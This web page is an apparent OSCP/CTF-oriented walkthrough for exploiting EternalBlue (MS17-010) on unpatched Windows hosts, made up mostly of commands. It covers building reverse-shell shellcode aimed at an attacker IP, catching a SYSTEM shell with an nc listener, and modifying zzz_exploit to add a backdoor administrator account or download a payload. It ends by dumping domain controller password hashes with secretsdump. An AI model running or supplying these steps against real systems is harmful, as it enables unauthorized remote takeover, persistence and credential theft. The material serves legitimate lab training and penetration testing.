Skip to content
HackIndex logo

HackIndex

EternalBlue MS17-010 – SMB RCE

3 min read May 15, 2026

EternalBlue exploits a buffer overflow in the SMBv1 SrvOs2FeaToNt function in srv.sys. A crafted transaction request triggers the overflow, leading to kernel-level code execution. The result is a SYSTEM shell on the target with no authentication required.

Affects Windows XP through Server 2019 (unpatched). The patch is MS17-010, released March 2017. Still appears regularly in OSCP labs and CTFs on older Windows machines.

AutoBlue – Non-Metasploit Exploit

AutoBlue is the standard non-Metasploit path. It supports both x86 and x64 targets and generates shellcode without requiring Metasploit at runtime — only msfvenom is needed to compile the shellcode, and a plain nc listener catches the shell.

Clone AutoBlue:

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/3ndG4me/AutoBlue-MS17-010
┌──(kali㉿kali)-[~]
└─$ cd AutoBlue-MS17-010
┌──(kali㉿kali)-[~]
└─$ python3 -m venv .venv && source .venv/bin/activate
┌──(kali㉿kali)-[~]
└─$ pip install -r requirements.txt

Step 1 – Compile the Shellcode

Run the shellcode compiler script. It calls msfvenom to build stageless shellcode for both x86 and x64, combining them into a single sc_all.bin:

user@host ~ $ chmod +x shellcode/shell_prep.sh
user@host ~ $ cd shellcode
user@host ~ $ ./shell_prep.sh

When prompted:

  • Enter your $LHOST (attacker IP)

  • Enter your x64 port (e.g. $LPORT)

  • Enter your x86 port (same or different)

  • Select 1 for a regular cmd shell (not Meterpreter — use this for OSCP)

This produces shellcode/sc_all.bin.

Step 2 – Start a Listener

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT

Step 3 – Run the Exploit

user@host ~ $ python eternalblue_exploit7.py $TARGET_IP shellcode/sc_all.bin

eternalblue_exploit7.py targets Windows 7 and Server 2008 R2 x64. For other targets:

  • eternalblue_exploit8.py — Windows 8 and Server 2012

  • eternalblue_exploit10.py — Windows 10 and Server 2016/2019

If the exploit completes successfully, your nc listener receives a SYSTEM shell.

Named Pipe Variant – zzz_exploit

If eternalblue_exploit7.py fails or the target crashes, try zzz_exploit.py from the worawit MS17-010 repo instead. This uses the EternalRomance/EternalSynergy technique via named pipes and is more stable on some targets:

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/worawit/MS17-010
┌──(kali㉿kali)-[~]
└─$ cd MS17-010
┌──(kali㉿kali)-[~]
└─$ pip install impacket --break-system-packages

Edit zzz_exploit.py — find smb_pwn and modify it to run your command. The default opens a semi-interactive shell via a service. Replace the service_exec call with a command to add a local admin or download a payload:

┌──(kali㉿kali)-[~]
└─$ service_exec(conn, r'cmd /c net user pwned Password123! /add && net localgroup administrators pwned /add')

Then run:

┌──(kali㉿kali)-[~]
└─$ python zzz_exploit.py $TARGET_IP

Connect to the target via psexec or evil-winrm with the new account once the command executes.

Groom Connection Count

If the exploit is unstable or the target blue-screens, adjust the groom connections (heap spray size). The default is usually fine, but you can tune it:

┌──(kali㉿kali)-[~]
└─$ python eternalblue_exploit7.py $TARGET_IP shellcode/sc_all.bin 15

Higher values (12–20) improve reliability on some targets. Lower values reduce crash risk. Start at the default and adjust if needed.

What You Get

A successful exploit lands a SYSTEM shell — the highest privilege on a Windows host. On a Domain Controller this means immediate domain compromise: dump NTDS.dit, extract all hashes, create Golden Tickets.

┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump $DOMAIN/$USER@$TARGET_IP -hashes :$NTHASH -just-dc

References